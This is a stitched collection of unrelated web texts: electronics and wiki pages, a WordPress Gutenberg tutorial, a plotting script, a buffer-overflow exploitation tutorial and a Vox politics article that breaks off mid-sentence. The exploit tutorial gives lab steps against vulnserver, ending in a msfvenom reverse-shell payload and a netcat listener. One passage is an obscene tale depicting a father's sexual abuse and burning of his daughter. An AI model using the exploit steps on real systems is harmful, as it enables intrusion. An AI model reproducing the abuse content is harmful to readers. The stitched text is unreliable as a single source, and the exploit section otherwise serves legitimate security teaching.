The content is for information purpose only and is not a medical advice. Qualified doctors have gathered information from reputable sources; however Credence Medicure Corporation is not responsible for errors or omissions in reporting or explanations. No individual should use the information, resources and tools contained herein to self diagnose or self treat any medical condition.
If you or any other person has a medical concern, you should consult with your health care provider or seek other professional medical treatment. Never disregard professional medical advice or delay in seeking it because of something that have read on this blog or in any linked materials. If you think you may have a medical emergency, call your doctor or emergency services immediately.
The opinions and views expressed on this blog and website have no relation to those of any academic, hospital, health practice or other institution. Credence Medicure Corporation gives no assurance or warranty regarding the accuracy, timeliness or applicability of the content.
|
ESSENTIALAI-STEM
|
Practical Electronics/Crowbar circuit
A crowbar circuit is a method of protecting a circuit against high voltages (overvoltage) in the event of a power supply malfunction or power surge. This is especially useful in a device using TTL components as these are very sensitive to overvoltage. However, there are many other devices which can be damaged by overvoltage.
A crowbar circuit works by sensing a voltage that is above a certain threshold and shorting out the power supply. This causes a voltage drop in the rest of the circuit and current surge through the power supply that will trip a circuit-breaker or blow a fuse. The circuit must have a fuse or circuit-breaker, as without it the power supply or the crowbar circuit will be damaged. Crowbar circuits are so named because their activation is similar in effect to dropping a crowbar across bus bars (heavy duty power supply lines).
A typical crowbar circuit is as follows:
This crowbar circuit has an 8V power supply, and triggers at around 10v. To change the power supply rating, the zener diode, ZD1, needs to be changed to reflect the new trigger voltage. It should be about 1V higher than the nominal supply voltage.
* Fuse F1 is the fuse that blows if the current drawn by the circuit significantly exceeds 250mA. This can be increased as needed, but make sure the thyristor Q1 has a higher current rating than the fuse. Also make sure the power supply can supply enough current to blow the fuse, as a current limited supply may fail to, and could overheat if the circuit is triggered.
* Capacitor C1's purpose is to reduce small, harmless, voltage spikes or noise which may trigger the circuit.
* ZD1 is the Zener diode which detects the overvoltage condition. At the threshhold voltage (here 9.1V), it starts to conduct, and a further increase in supply voltage raises the voltage on R1 and Q1 gate.
* R1 is a pull-down resistor which holds the gate of thyristor Q1 low when ZD1 is not conducting.
* C2 is a snubber capacitor to prevent the thyristor being triggered by accident on being powered up. It must have a high enough value to filter transients, but low enough to avoid delaying the operation of Q1 too much.
* Q1 is the thyristor which provides a short-circuit between the power rails, blowing the fuse. When the gate voltage is pulled above its trigger voltage, typically in the 0.6 to 1v range, it suddenly switches to conducting. The circuit trigger voltage is the sum of this and ZD1's theshhold voltage.
* SD1 is a Schottky diode to prevent kickback from the main circuit from triggering the crowbar circuit. Normal diodes can be used, but they have a larger voltage drop than Schottky diodes. This precaution is rarely needed.
|
WIKI
|
Page:The Way of a Virgin.djvu/230
peasant had a daughter who said unto him: "Little father, Vannka would fain futter me." "Ah! thou fool!" quoth the peasant. "Why give thyself to a stranger? We will futter thee right well ourselves."
He took an iron stud, warmed it in the stove, and planted it right in her coynte, in such fashion that she could not piss for three months.
Vannka encountered the young girl and again made his proposal.
"Permit me to futter thee," said he.
Quoth she :
"Thou ravest, Vannka, who art sprung from the devil. My little father hath futtered me, and he hath so scorched my coynte that for three months I have not been able to piss."
"Fear not, simpleton. My yard is cold."
"Thou liest, Vannka, devil's offspring. Let me touch it."
"Take it, then."
She took his yard in her hand and cried:
"Ah! wretched devil! thou seest well 'tis warm! Dip in the water!"
|
WIKI
|
Gananoque Lake
Gananoque Lake is a lake of eastern Ontario, Canada, located about 16 kilometres north of the town of Gananoque.
|
WIKI
|
Wikipedia:Miscellany for deletion/Draft:Steez
__NOINDEX__
The result of the discussion was: delete. ✗ plicit 10:09, 24 June 2021 (UTC)
Draft:Steez
* – (View MfD) ​
Draft has been declined 4 times and actually rejected another 4 times. I think it's time we pull the plug here. Subject isn't notable. Chess (talk) (please use  on reply) 08:42, 17 June 2021 (UTC)
* Delete per nom, as tendentiously resubmitted. Declined and rejected four times each. WP:NMFD allows deletion in these circumstances and it's time for this to go. Regards, <IP_ADDRESS> (talk) 17:39, 17 June 2021 (UTC)
* Delete per repeated resubmission following rejection. — csc -1 04:02, 18 June 2021 (UTC)
* Keep (very week). Probably not notable, even for WP's low standards BUT the sources look legit, he did a few recordings, presented a nation wide shows... Yes, from Botswanna, maybe we need more article about Botswanna, not less? This is what drafts are for, give it time. If the editor is annoying, talk to them, block them... Don't delete content. - Nabla (talk) 16:14, 18 June 2021 (UTC)
* Delete because any resubmission after rejection and without discussion demands some sort of action, and this is a content forum. Do not salt. Some other editor may be able to develop a draft or an article, but, respectfully disagreeing with User:Nabla, this editor isn't discussing and isn't making progress. Robert McClenon (talk) 20:54, 18 June 2021 (UTC)
* Oh, you, Robert McClenon, and I agree that the user is not discussing nor making progress. We just disagree on the course of action :-) - Nabla (talk) 12:08, 19 June 2021 (UTC)
* Delete After this many declines and rejections, time to delete this draft.Jackattack1597 (talk) 12:30, 19 June 2021 (UTC)
|
WIKI
|
Extending Gutenberg Core Blocks with Custom Attributes and Controls
Extensibility is one of WordPress features that I love the most. From custom filters to actions, now they are applying the same thing with the new Gutenberg Editor.
It’s pretty great but aside from the WordPress handbook, there are only few tutorials available for Gutenberg development as of the moment. This is the main reason I’ve decided to pitch in and help out with creating tutorials starting from custom attributes and controls. These tutorials are the ones I’ve learned by actively participating on Gutenberg development on Github. I also used these methods on CoBlocks and EditorsKit plugins.
Let’s dig in. 😎
Adding Custom Attributes to Core Gutenberg Blocks
First, let’s add our custom attributes. In this tutorial, we will be using visibleOnMobile custom attributes to add custom CSS mobile-hidden class when it’s set to false.
By using blocks.registerBlockType filter we can extend each block setting, which includes the attributes.
Here’s how you can easily add our custom attribute. 👇
/**
* WordPress Dependencies
*/
const { addFilter } = wp.hooks;
/**
* Add custom attribute for mobile visibility.
*
* @param {Object} settings Settings for the block.
*
* @return {Object} settings Modified settings.
*/
function addAttributes( settings ) {
//check if object exists for old Gutenberg version compatibility
if( typeof settings.attributes !== 'undefined' ){
settings.attributes = Object.assign( settings.attributes, {
visibleOnMobile:{
type: 'boolean',
default: true,
}
});
}
return settings;
}
addFilter(
'blocks.registerBlockType',
'editorskit/custom-attributes',
addAttributes
);
Adding Custom Attributes to Core Gutenberg Blocks
Create Custom Controls on Advanced Block Panel
Now that we have registered our custom attributes, we need custom control to handle/change the value. I’ll be using ToggleControl component to easily switch our control on or off.
Mobile devices visibility toggle control
Using editor.BlockEdit filter, we can modify block’s edit component. It receives the original block via BlockEdit component and returns the new component. Then InspectorAdvancedControls component will help us target the Advanced Block Panel. It’s easier to show than tell. Check my codes below.
/**
* WordPress Dependencies
*/
const { __ } = wp.i18n;
const { addFilter } = wp.hooks;
const { Fragment } = wp.element;
const { InspectorAdvancedControls } = wp.editor;
const { createHigherOrderComponent } = wp.compose;
const { ToggleControl } = wp.components;
/**
* Add mobile visibility controls on Advanced Block Panel.
*
* @param {function} BlockEdit Block edit component.
*
* @return {function} BlockEdit Modified block edit component.
*/
const withAdvancedControls = createHigherOrderComponent( ( BlockEdit ) => {
return ( props ) => {
const {
attributes,
setAttributes,
isSelected,
} = props;
const {
visibleOnMobile,
} = attributes;
return (
<Fragment>
<BlockEdit {props} />
{ isSelected &&
<InspectorAdvancedControls>
<ToggleControl
label={ __( 'Mobile Devices Visibity' ) }
checked={ !! visibleOnMobile }
onChange={ () => setAttributes( { visibleOnMobile: ! visibleOnMobile } ) }
help={ !! visibleOnMobile ? __( 'Showing on mobile devices.' ) : __( 'Hidden on mobile devices.' ) }
/>
</InspectorAdvancedControls>
}
</Fragment>
);
};
}, 'withAdvancedControls');
addFilter(
'editor.BlockEdit',
'editorskit/custom-advanced-control',
withAdvancedControls
);
Apply Custom Element Class to Gutenberg Blocks
Almost done! All I need to do now is apply our mobile-hidden to the block. I just need to make sure that it will only be added when toggle is off.
blocks.getSaveContent.extraProps filter applies to all blocks returning the element in the save() function. This filter has extraProps attribute that we can use to add custom classNames.
/**
* External Dependencies
*/
import classnames from 'classnames';
/**
* Add custom element class in save element.
*
* @param {Object} extraProps Block element.
* @param {Object} blockType Blocks object.
* @param {Object} attributes Blocks attributes.
*
* @return {Object} extraProps Modified block element.
*/
function applyExtraClass( extraProps, blockType, attributes ) {
const { visibleOnMobile } = attributes;
//check if attribute exists for old Gutenberg version compatibility
//add class only when visibleOnMobile = false
if ( typeof visibleOnMobile !== 'undefined' && !visibleOnMobile ) {
extraProps.className = classnames( extraProps.className, 'mobile-hidden' );
}
return extraProps;
}
addFilter(
'blocks.getSaveContent.extraProps',
'editorskit/applyExtraClass',
applyExtraClass
);
That’s it! I made sure that it’s pretty easy to follow — I hope I achieved that. Now you can just add .mobile-hidden{ display: none } on your frontend css.
Below is the full code with dependencies and filters altogether. I’ve also added allowedBlocks variable so you can check how to apply the custom attributes and control to specific blocks only.
/**
* External Dependencies
*/
import classnames from 'classnames';
/**
* WordPress Dependencies
*/
const { __ } = wp.i18n;
const { addFilter } = wp.hooks;
const { Fragment } = wp.element;
const { InspectorAdvancedControls } = wp.editor;
const { createHigherOrderComponent } = wp.compose;
const { ToggleControl } = wp.components;
//restrict to specific block names
const allowedBlocks = [ 'core/paragraph', 'core/heading' ];
/**
* Add custom attribute for mobile visibility.
*
* @param {Object} settings Settings for the block.
*
* @return {Object} settings Modified settings.
*/
function addAttributes( settings ) {
//check if object exists for old Gutenberg version compatibility
//add allowedBlocks restriction
if( typeof settings.attributes !== 'undefined' && allowedBlocks.includes( settings.name ) ){
settings.attributes = Object.assign( settings.attributes, {
visibleOnMobile:{
type: 'boolean',
default: true,
}
});
}
return settings;
}
/**
* Add mobile visibility controls on Advanced Block Panel.
*
* @param {function} BlockEdit Block edit component.
*
* @return {function} BlockEdit Modified block edit component.
*/
const withAdvancedControls = createHigherOrderComponent( ( BlockEdit ) => {
return ( props ) => {
const {
name,
attributes,
setAttributes,
isSelected,
} = props;
const {
visibleOnMobile,
} = attributes;
return (
<Fragment>
<BlockEdit {props} />
//add allowedBlocks restriction
{ isSelected && allowedBlocks.includes( name ) &&
<InspectorAdvancedControls>
<ToggleControl
label={ __( 'Mobile Devices Visibity' ) }
checked={ !! visibleOnMobile }
onChange={ () => setAttributes( { visibleOnMobile: ! visibleOnMobile } ) }
help={ !! visibleOnMobile ? __( 'Showing on mobile devices.' ) : __( 'Hidden on mobile devices.' ) }
/>
</InspectorAdvancedControls>
}
</Fragment>
);
};
}, 'withAdvancedControls');
/**
* Add custom element class in save element.
*
* @param {Object} extraProps Block element.
* @param {Object} blockType Blocks object.
* @param {Object} attributes Blocks attributes.
*
* @return {Object} extraProps Modified block element.
*/
function applyExtraClass( extraProps, blockType, attributes ) {
const { visibleOnMobile } = attributes;
//check if attribute exists for old Gutenberg version compatibility
//add class only when visibleOnMobile = false
//add allowedBlocks restriction
if ( typeof visibleOnMobile !== 'undefined' && !visibleOnMobile && allowedBlocks.includes( blockType.name ) ) {
extraProps.className = classnames( extraProps.className, 'mobile-hidden' );
}
return extraProps;
}
//add filters
addFilter(
'blocks.registerBlockType',
'editorskit/custom-attributes',
addAttributes
);
addFilter(
'editor.BlockEdit',
'editorskit/custom-advanced-control',
withAdvancedControls
);
addFilter(
'blocks.getSaveContent.extraProps',
'editorskit/applyExtraClass',
applyExtraClass
);
view raw full-codes.js hosted with ❤ by GitHub
Closing
As you can see, this will open up a lot of possibilities to extend existing Gutenberg blocks. I highly suggest you explore the Gutenberg Handbook for more filters available. I urge you to subscribe to my newsletter too to get notified for new tutorials and news. With that being said, please share the love and do not hesitate to say hi on the comment section.
11 responses to “Extending Gutenberg Core Blocks with Custom Attributes and Controls”
1. Hi
Can you add information about file structure? There are some files, but where we should put all of them?
Regards
1. Jeffrey Carandang Avatar
Jeffrey Carandang
Thanks for dropping by! I’ll probably need to create a separate tutorial for that. For the mean time you can check the Gutenberg Handbook, I’ll let you know when the tutorial is available. Thanks!
https://wordpress.org/gutenberg/handbook/designers-developers/developers/filters/block-filters/
2. Would be great if this was also an example is ES5 (not ESNext) Not everyone is Reactive Native capable, and I was hoping to just copy/paste this into a JS file, but it generates and error.
1. Jeffrey Carandang Avatar
Jeffrey Carandang
Thanks John! I’m planning to create one actually. I’ve got few requests on ES5 article. I’m just finishing up new features for EditorsKit and will get back to it 😉
3. I guess this is a good tutorial for people who know what they are doing. But for people having no idea about the Gutenberg structure, this tutorial does not help.. Maybe as an intro add links to the necessary resources?
I’ll probably come back to this tutorial at some point, but for now I don’t have a clue where I should put the code. It even took me a moment to realize it’s all JavaScript/React while I would have expected the code to be PHP. Maybe, at least mention this as well 🙂
1. Jeffrey Carandang Avatar
Jeffrey Carandang
Thanks a lot for the feedback Jules! I’ve got a lot of similar response to this and my other tutorials so I’ve created this one : https://jeffreycarandang.com/create-gutenberg-block-plugin-wp-scripts-postcss-build/. This will help you get started 🙂 Let me know how it goes.
4. Would the new attribute be available in an API call too? Trying out a headless install and wondering…
1. Jeffrey Carandang Avatar
Hi Josh! Are you using WP GraphQL? It’ll depends on the endpoints added via API. I’m not actually sure since I haven’t tried it out. Thanks!
5. Hi Jeffrey, Looks great and thanks for the clear outline… so many examples make it over complicated. The only problem I have is the class is not applying in the editor or in the front end, any suggestion on how to debug? Cheers
6. Hi Jeffrey, thank you for this tutorial! So far it has been very helpful, but I haven’t quite gotten it to work yet. I’m trying to run it just from a js file that I’m enqueuing in my functions.php; does it need to be in a plugin? It seems to not like the ESNext bit:
Uncaught SyntaxError: Unexpected token ‘<'
I saw some threads online where people were saying you need to run npm install && npm run build, but I don't have any kind of build script for it! Am I on the right track at all?
7. Thanks for those tips, they’ve been really helpfull !
One question remains though :
if the ‘blocks.getSaveContent.extraProps’ filter allows us to apply our modifications on the final product (the block appearing on our website), how could one make those changes visible in the editor ?
I guess i should modify the ‘editor.BlockEdit’ hook, but how can i access the block, and modify it accordingly with the newly set attributes ?
I’m trying to style a simple heading block, adding so margin to it.
The margin is applied on
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ESSENTIALAI-STEM
|
Iratsume
Iratsume is a monotypic butterfly genus in the family Lycaenidae. Its single species is Iratsume orsedice.
The larvae feed on Hamamelis japonica.
Subspecies
* Iratsume orsedice suzukii (Sonan, 1940) Japan
* Iratsume orsedice nosei Fujioka, 1996 Taiwan
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WIKI
|
box_annotation.py
from bokeh.models import BoxAnnotation
from bokeh.plotting import figure, show, output_file
from bokeh.sampledata.glucose import data
TOOLS = "pan,wheel_zoom,box_zoom,reset,save"
data = data.loc['2010-10-04':'2010-10-04']
p = figure(x_axis_type="datetime", tools=TOOLS, title="Glocose Readings, Oct 4th (Red = Outside Range)")
p.background_fill_color = "#efefef"
p.xgrid.grid_line_color=None
p.xaxis.axis_label = 'Time'
p.yaxis.axis_label = 'Value'
p.line(data.index, data.glucose, line_color='grey')
p.circle(data.index, data.glucose, color='grey', size=1)
p.add_layout(BoxAnnotation(top=80, fill_alpha=0.1, fill_color='red', line_color='red'))
p.add_layout(BoxAnnotation(bottom=180, fill_alpha=0.1, fill_color='red', line_color='red'))
output_file("box_annotation.html", title="box_annotation.py example")
show(p)
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ESSENTIALAI-STEM
|
User:Nilo Simborio Pepania Jr
Nilo Simborio Pepania Jr was born on April 22, 1989 in Plaridel, Misamis Occidental, Philippines. He is the son of Nilo Valdesco Pepania Sr. and Anita “Tita” Simborio Pepania.
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WIKI
|
How to Exploit a Simple Stack-Based Buffer Overflow Vulnerability
Shahrukh Iqbal Mirza
9 min readApr 1, 2021
In this blog, we will be discussing the basics of exploit development by exploiting a stack overflow vulnerability in a simple application. We will look at a simple memory structure, program execution in memory, causes of buffer overflow and then finally, as always, a practical demonstration of the attack.
What is Buffer Overflow?
Buffer overflow is simply overflowing the buffer space that a program or application has been allocated in the memory.
Stack Memory Structure
The memory stack is a part in the memory assigned to an application or program for its execution. It is responsible for holding the local data, parametric values and return addresses during the execution of the application or program. It follows the Last In, First Out (LIFO) method of memory storage, i.e. the instruction last stored (PUSH) on the stack gets executed first (POP).
The stack is composed of four main components: the ESP (Extended Stack Pointer), the EBP (Extended Base Pointer), the EIP (Extended Instruction Pointer) and the Buffer Space. The diagrammatic layout of a memory stack is shown below:
Now let us take a brief look at each of these four components:
• Extended Stack Pointer (or the ESP): ESP is the CPU register that points to the top of the memory stack. It may hold the memory address of the instruction being executed or the data that is currently at the top of the memory stack. The value in the ESP changes as the program execution follows.
• Buffer Space: It is the space that is allocated to the program for its execution. Generally, the information in the buffer should not be allowed to escape the buffer space. This is done by implementing proper input sanitizations and following a secure coding approach.
• Extended Base Pointer (or the EBP): EBP is the CPU register that holds the memory address of the top of the stack. This generally remains fixed during the entire program execution and is used as a reference address for the next instructions.
• Extended Instruction Pointer (or the EIP): EIP controls the flow of execution. It holds the location of the next instruction to be executed by the CPU. EIP is the main target of the buffer overflow attack, as controlling the EIP gives the attacker the control of command execution.
Program Execution
When an application or program is loaded into the memory for execution, it makes up space in the memory and is allocated a stack. The EBP holds the address of this stack frame. As the program starts its execution, the ESP gets updated with the instructions that are being executed on the top of the stack (referenced by the EBP), while the EIP updates itself with the next instruction to be executed according to the application logic. All the arguments and parametric values that the program may require are stored in the buffer space.
Causes of Buffer Overflow
When the buffer space fails to handle the data in the buffer space efficiently; i.e. the data is the buffer space exceeds the allocated buffer space, the buffer may overflow causing the adjacent memory locations to be written by the data. Lack of input sanitization in the application code, may leave the application vulnerable to a buffer overflow vulnerability.
Anatomy of a Buffer Overflow Attack
Let us assume we have a simple application that asks the user for its name. In the application code, the buffer space allocated for the name is an array of 8 characters. As the application starts its execution, it asks the user for its name. Let us suppose the user’s name is Anthony, he enters his name, the application accepts it and since ‘Anthony’ is within the 8-character limit of the buffer, the application exits out fine. But let’s say the user enters his full name; i.e. ‘Anthony Martial’ this is well outside the limit of the buffer space, if proper input sanitization is not present, the application will accept the name, fill the buffer space with ‘Anthony ‘ and ‘Martial’ will be written onto the adjacent memory locations. The application will then look for the next instruction to execute but will find ‘Martial’ as the next instruction to be executed, which is an invalid instruction, the application will crash.
Now, an attacker can leverage this behavior to his advantage by determining how many bytes are required by the application to function properly, he’ll figure out the exact number of bytes that crashes the application, supplies valid input as the max length that the application can handle and then place his payloaded shellcode as assembly instruction onto the next memory locations. When the application moves on to the next memory location, it will find the attacker’s shellcode and eventually the attacker can direct the flow of execution as per his needs.
Practical Demonstration
Lab Setup: For demonstration purposes, we’ll be using the determinedly vulnerable built application, vulnserver. It is a command-line windows application, so our victim or the target OS will be a Windows machine, which we will be attacking using our Kali Linux. The ultimate goal of the attack is to gain access to the Windows machine. For debugging purposes, and looking at the registers and memory, we’ll be using Immunity Debugger. For shellcode generation we will use msfvenom, and netcat as the listener.
The entire attack is based upon the following steps:
1. Fuzzing the application to determine the crashing of the application
2. Finding the exact location of the crash (called the Offset)
3. Confirming the offset, and control over the flow of execution by Overwriting the Instruction Pointer (EIP)
4. Checking for bad characters
5. Finding the application library with no memory protections
6. And finally, gaining access to the target
To save time, we will not be spiking the application to see which input command is vulnerable to the attack, instead we will start from fuzzing because we know that the ‘TRUN’ command is vulnerable.
Running Immunity Debugger as administrator and attaching vulnserver in Immunity Debugger, and then pressing the play button, to allow vulnserver start accepting connections.
Fuzzing the Vulnserver:
We fuzz the vulnserver by sending a large number of the letter ‘A’ in incremental order. After some time, we find in Immunity Debugger that the application has crashed.
When we look at our fuzzing script, we find that our application crashed at 2500 bytes.
Locating the Offset:
Restarting vulnserver from within Immunity, now we generate a random pattern of 2500 bytes of never repeating characters. For this purpose, we use the pattern_create ruby script.
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
We then send this random pattern over to vulnserver, and after the crash we look at the value of EIP.
We then query this string using the pattern_offset script to find the exact number of bytes used to crash the application. We find that our offset is located at 2003 bytes.
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 386F4337
Confirming the Offset by Overwriting the EIP:
We now send 2003 A’s and 4 B’s over to vulnserver and see whether our offset is correct and whether we can overwrite the EIP or not.
Locating the Application Module with no Memory Protections:
Now we must look for a module within the application that does not have any memory protections. For this purpose we’ll use a python script mona, and load up mona within Immunity Debugger.
$ !mona modules
The first highlighted module has all memory protections disabled.
Now we must check whether we can use this module to our advantage. For this purpose, we must check whether the JMP ESP instruction is in this module or not.
First, we determine the operation-code (or opcode or hex-equivalent) of JMP ESP. we will use nasm_shell for this purpose.
$ /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb$ Inside the nasm_shell prompt, type in JMP ESP and then press enter
So, the opcode for JMP ESP is FFE4.
Let us search the application module for this opcode, and we find the instruction address for JMP ESP within this DLL.
$ !mona find -s “\xff\xe4” -m essfunc.dll
Now, the question here arises what is ‘JMP ESP’ and why do we use it. Putting it simply, ‘JMP ESP’ means ‘Jump to the ESP register.’ We will place our shellcode on top of our stack frame, for that reason we need the memory address of JMP ESP. We’ll inject this return address into the EIP, and as vulnserver starts its execution, after overflowing the buffer space, it’ll look into the EIP for the next instruction, where it will find the JMP ESP opcode, so it’ll jump back to the ESP, where it will find our shellcode, execute the code and give us command execution into the system.
Next, we will verify whether we are controlling the program execution or not. For this, we’ll put our JMP ESP return address into the EIP (in Little Endian format, as the application is designed on a 32-bit architecture), and will then check that upon execution of the application if the EIP points to the JMP ESP or not.
First let us search for this JMP ESP opcode in Immunity, and then place a breakpoint on that instruction.
So that when the execution flow reaches the break point, the program will pause, and we can check whether we are controlling the execution flow or not. As seen in the screenshot below, we find the return address of the JMP ESP instruction written in the EIP, meaning that now we have full control of the execution flow.
Figuring out Bad Characters:
Since now we know that we control the EIP. Before we generate our shellcode, we need to find what bad characters might create problems in the execution of our shellcode, because the application won’t process those characters. Generally, the null byte (\x00), the line feed (\x0A) and the carriage return (\x0D) are bad characters.
We find bad characters by using this list of characters in hex by SecLists and after sending them to vulnserver, we follow the ESP in memory stream and then look for characters that do not follow the pattern or stand-out unique from the ongoing pattern.
Luckily, no bad characters are found within the application.
Generating Shellcode and Gaining Access:
Now that we have our EIP return address that will point to our shellcode, and the list of bad characters; it is time to generate our shellcode and exploit the application.
We will generate our shellcode using msfvenom.
$ msfvenom -p windows/shell_reverse_tcp LHOST=<attacking_machine_ip> LPORT=<attacking_machine_listening_port> EXITFUNC=thread -a x86 -b ‘\x00\x0A\x0D’ -f c
We use exit function as thread, so that our shellcode creates the process in a new thread, and upon exiting the shell, the application does not break.
Time to send over our shellcode and gain access to the target. After making necessary changes to our script, we set up a listener and fire away the shellcode.
$ nc -lvnp 1337
And as soon as the script runs, we get a session of the target on our attacking machine.
Defense & Mitigation
• Implement secure coding practices when developing and building applications, by using secure programming functions.
• Apply proper input validations and sanitizations.
• Implement memory protections like Address Space Layout Randomization (ASLR), Data Execution Prevention (DEP), Structured Exception Handling (SEH).
--
--
Shahrukh Iqbal Mirza
A passionate hacker/pentester/red-teamer, part-time CTF player and ocassional bug bounty hunter. Advocate for “Hacking Is NOT A Crime.”
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ESSENTIALAI-STEM
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Nancy Pelosi’s fight to remain the top House Democrat, explained
The first candidate to test the anti-Nancy Pelosi message in 2018 was Rep. Conor Lamb, who narrowly won a March special election in a deeply red Pennsylvania district. Lamb ran on moderate, independent credentials, declaring in a campaign ad that he wouldn’t support Pelosi for speaker. In the four months since Lamb’s victory, Pelosi has said repeatedly she wants the gavel if Democrats win the House, even as the list of those who say they won’t back her has swelled to more than 40 Democratic candidates of all ideological stripes. Notably, 24 are on the Democratic Congressional Campaign Committee’s Red to Blue list, the districts Democrats hope to flip to take back the majority. Many more are undecided. (Vox is tracking the full list here.) Behind the scenes in Congress, meanwhile, some Democrats are discussing the details of what a future without Pelosi would look like. “I think she has much less support than she thinks she does,” said New York Rep. Brian Higgins, a moderate Democrat. “I think that her support is eroding.” “The conversations are happening,” said another Democratic lawmaker who asked for anonymity to speak candidly. “Change is coming. The leadership team is not going to be the way it looks now.” It’s not yet clear whether the agitators have the juice (or the votes) to actually unseat Pelosi. The minority leader is confident she’ll prevail. “Leader Pelosi enjoys the overwhelming support of House Democrats and that will continue into the majority she’s so focused on winning,” said Pelosi spokesperson Drew Hammill in a recent statement to Vox. But the math is fundamentally daunting. If Democrats win a narrow majority in November, Pelosi will need some newly elected members who ran as Pelosi skeptics to flip-flop, even as resentment of the long-entrenched leadership cadre has grown among established members of the Democratic caucus. At a moment when the party should be celebrating a victory, unified against President Donald Trump and preparing to roll out their agenda, they’ll instead be fighting among themselves. Discontent with Pelosi’s leadership has been growing for years among members who think the party has been stuck in the minority for too long and believe it’s time for someone new at the helm. “I think there is widespread agreement that we need a rejuvenation of leadership,” Kentucky Rep. John Yarmuth told Vox recently. “How that manifests itself, we’ll see. I think the caucus understands that the party’s changing, the base is changing, and new faces wouldn’t be bad for us.” But Pelosi’s sway in the caucus can’t be underestimated. She is a master politician who has built alliances with individual factions in her caucus, proving again and again that she can get Democrats to hold the line on tough votes. Even after Democrats were trounced in 2016, Pelosi was able to convince her members to stick together and vote against GOP bills, including last year’s massive tax cuts. She has also fashioned advancement in the House around her. “There’s a lot of people in the minority for a long time; anyone who came in after 2010 has never been in the majority,” a Democratic House aide told Vox. “How long are you going to wait to get to be the chairman of a subcommittee?” The same aide described Pelosi as instrumental in helping loyal House Democrats get their preferred committee assignments. “She knows what chips she has, and she hands them out accordingly,” the staffer said. “She’s pulling all the strings. If you want to be on a certain committee, that’s her jurisdiction.” For Democratic members to get prime committee assignments, it takes decades of service in the House, plus a good working relationship with Pelosi. That’s rankled young members, especially those who haven’t known a time when Democrats were in power and could make policy and hand out favors accordingly. Pelosi also decides who gets to join the ranks of leadership, and hasn’t designated any obvious successor. Her top two lieutenants are Minority Whip Steny Hoyer, 79, and Assistant Democratic Leader Jim Clyburn, 77. The current makeup of leadership is fairly diverse; Clyburn is African-American, and Rep. Linda Sánchez (D-CA) — the No. 5 Democrat in the House — is the highest-ranking Latina in Congress. But many lawmakers also want diversity of age and ideas in the current caucus reflected in leadership. Reporters have asked Pelosi about these issues many times. “I am female. I am progressive. What’s your problem?” she shot back at a reporter who recently asked her whether House Democrats should include more politicians who were female, progressive, and younger in leadership. Former House Democrats who were talked about as being groomed by Pelosi for leadership positions have set their sights elsewhere: Former Maryland Rep. Chris Van Hollen is now a US senator, and rising star Xavier Becerra became California’s attorney general. Few Democrats — save for Ohio Rep. Tim Ryan — have openly floated their names for the speakership. Ryan, who challenged Pelosi to be House minority leader in 2016, is reportedly considering doing so again. Pelosi has been dismissive about people who challenge her, recently calling Ryan and Massachusetts Rep. Seth Moulton, another young, vocal anti-Pelosi lawmaker, “inconsequential” to Rolling Stone’s Tim Dickinson in a recent interview. “She refers to those two as inconsequential?” Higgins said incredulously. “The number of inconsequentials is growing, to the point where all of them are going to be consequential as it relates to who the next leader is going to be. She’s no more powerful than anybody else, but for the power she’s given in the caucus.” One of Pelosi’s main arguments for remaining at the helm is that she’s best qualified to take on Trump and Republican leadership. Few within the caucus dispute her competency. And as much as Democrats see running against her as a good strategy, she is also doing record-breaking fundraising for the party, hauling in nearly $70 million for Democrats so far this campaign cycle. Back in March, Rep. Conor Lamb pulled out a win in a conservative Pennsylvania district Democrats didn’t even think they could compete in. While Republicans tried to tie him to Pelosi, Lamb got out in front of their attacks by saying he wouldn’t back her for speaker in a campaign ad. Lamb’s winning anti-Pelosi playbook is a good strategy — and Democrats know it. It’s clearly popular in purple or red districts they’d like to win. Pelosi understands — and even supports the tactic. “I think if they had to do that to win the election, I’m all for winning,” she said when asked about Democratic candidates who oppose her at an event in May. “Just win, baby. I think many of them are saying we need ... new leadership. I don’t take offense at that.” Some Pelosi opponents within the Democratic caucus are observing with a watchful eye as the number of 2018 candidates saying they won’t back Pelosi’s bid for speaker grows to more than 20. “Those are the ones that are going to give us the majority,” said the unnamed Democratic lawmaker. Pelosi’s allies say these candidate pledges will be tested during the floor vote for House speaker in November, and they’re confident she can get to the 218 votes she needs to win. They believe these candidates may “fulfill their campaign pledges” by voting against Pelosi in the caucus meeting — which is done by secret ballot. She has won easily in the past, although one-third of the caucus voted against her in 2016 when Tim Ryan challenged her. “We always assume Pelosi will be challenged,” a senior Democratic aide told Vox. “No one can beat her in the caucus; that is the fundamental problem.” Pelosi has been in Congress since 1987 and on the Democratic leadership team (starting as House minority whip) since 2002. Elected as the first female House speaker in 2007, she has a reputation both for keeping her caucus in line and for getting major pieces of legislation passed. “I think Nancy Pelosi is one of the smartest people in Congress,” said Rep. Emanuel Cleaver (D-MO). “I think she’s almost like a shark; I don’t think she sleeps. She is as tough as they come.” The biggest part of Pelosi’s legacy is inextricably linked with that of former President Barack Obama. Pelosi was a key steward of the Affordable Care Act, helping shepherd the massive health care bill through Congress, and was instrumental in passing the Dodd-Frank regulatory banking bill and fiscal stimulus to help restart the economy following the 2008 financial crisis. Her track record has certainly won her plenty of allies within her caucus. “To attack her is to reject so much of the agenda that President Obama passed,” said Rep. Ro Khanna (D-CA), a young progressive Congress member who is one of Pelosi’s staunchest defenders. “She’s a symbol. If you believe in the ACA, if you believe in Dodd-Frank, if you believe in the stimulus bill ... how can you not respect Pelosi’s leadership?” Pelosi herself has said that she wouldn’t be so focused on running for the speakership post-2018 if she weren’t afraid that the Affordable Care Act would be dismantled, something the Trump administration is very actively trying to do. “If Hillary had won and the Affordable Care Act was protected — I feel very proprietary about the Affordable Care Act,” Pelosi told Rolling Stone recently. “She’d be a woman in charge, the Affordable Care Act [would be] protected. I could have happily gone home. It’s just a question of, ‘Who can fight this man who’s in the White House? Who really knows the territory?’ None of us is indispensable, but some of us have more experience and confidence in how to get the job done.” In other words, Pelosi wants to leave on her own terms, when she feels her legacy is secure. “She wants to choose when she leaves, not be pushed out,” said Thomas Mann, a congressional historian and senior fellow at the Brookings Institution. “And given her success in her job, one can fully understand.” If you ask Democratic representatives who is on their wish list of new leadership candidates, you frequently get names including Reps. Hakeem Jeffries (NY), Cheri Bustos (IL), Pete Aguilar (CA), David Cicilline (RI), Barbara Lee (CA), Linda Sanchez (CA), and Katherine Clark (MA). Even Cleaver’s name comes up as someone who would be a calm, steady presence to unify the caucus. Minority Whip Hoyer sees himself as a bridge leader who 